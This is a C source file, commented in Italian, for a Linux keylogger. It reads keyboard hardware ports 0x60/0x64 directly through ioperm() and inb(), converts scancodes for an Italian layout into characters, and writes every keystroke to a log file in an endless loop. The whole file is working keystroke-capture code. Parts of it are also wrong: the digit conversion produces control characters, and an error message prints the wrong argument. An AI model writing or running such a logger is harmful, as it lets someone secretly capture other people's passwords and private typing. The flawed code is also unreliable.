#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/io.h>
#define KB_IO 0x60
#define KB_STATUS 0x64
#define SLEEP_T 50
// Funzione per la conversione di un carattere letto
// dal registro della tastiera in un carattere ASCII
const char get_key(int code) {
// Se il carattere corrisponde a una cifra, lo converto
// nella cifra ASCII corrispondente
if ((code>=2) && (code<=10))
return (char) code+29;
// Switch sulle altre possibilità
switch (code) {
case(11): return '0'; break;
case(12): return '\'';break;
case(13): return 'ì'; break;
case(15): return '\t';break;
case(16): return 'q'; break;
case(17): return 'w'; break;
case(18): return 'e'; break;
case(19): return 'r'; break;
case(20): return 't'; break;
case(21): return 'y'; break;
case(22): return 'u'; break;
case(23): return 'i'; break;
case(24): return 'o'; break;
case(25): return 'p'; break;
case(27): return '+'; break;
case(28): return '\n';break;
case(30): return 'a'; break;
case(31): return 's'; break;
case(32): return 'd'; break;
case(33): return 'f'; break;
case(34): return 'g'; break;
case(35): return 'h'; break;
case(36): return 'j'; break;
case(37): return 'k'; break;
case(38): return 'l'; break;
case(39): return 'ò'; break;
case(40): return 'à'; break;
case(44): return 'z'; break;
case(45): return 'x'; break;
case(46): return 'c'; break;
case(47): return 'v'; break;
case(48): return 'b'; break;
case(49): return 'n'; break;
case(50): return 'm'; break;
case(51): return ','; break;
case(52): return '.'; break;
case(53): return '-'; break;
case(57): return ' '; break;
}
// Se il carattere non è riconosciuto, ritorno 0
return 0;
}
int main (int argc, char **argv) {
int lastcode=0,code=0;
FILE *fp;
// Se non è specificato il file di log, esco
if (argc!=2) {
printf ("%s <logfile>\n",argv
[0]);
return 1;
}
// Se il file di log non è scrivibile, esco
if (!(fp=fopen(argv[1],"a"))) {
printf ("Impossibile scrivere su %s\n",argv
[0]);
return 2;
}
// Se non posso aprire tramite ioperm() il registro della
// tastiera o il registro di status, esco
if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1) {
printf ("Impossibile accedere alla porta di I/O della tastiera\n");
return 3;
}
// Ciclo di lettura con un intervallo di tempo
// tra una lettura e l'altra costante
while(1) {
code=0;
// Se la tastiera 'ha parlato', leggo il valore inserito
if (inb(KB_STATUS)==20)
code=inb(KB_IO);
// Se è un carattere leggibile, lo converto in ASCII e lo stampo
// sul log
if (code) {
if (code!=lastcode) {
lastcode=code;
if (get_key(code)) {
fprintf (fp,"%c",get_key(code));
fflush (fp);
}
}
}
usleep(SLEEP_T);
}
}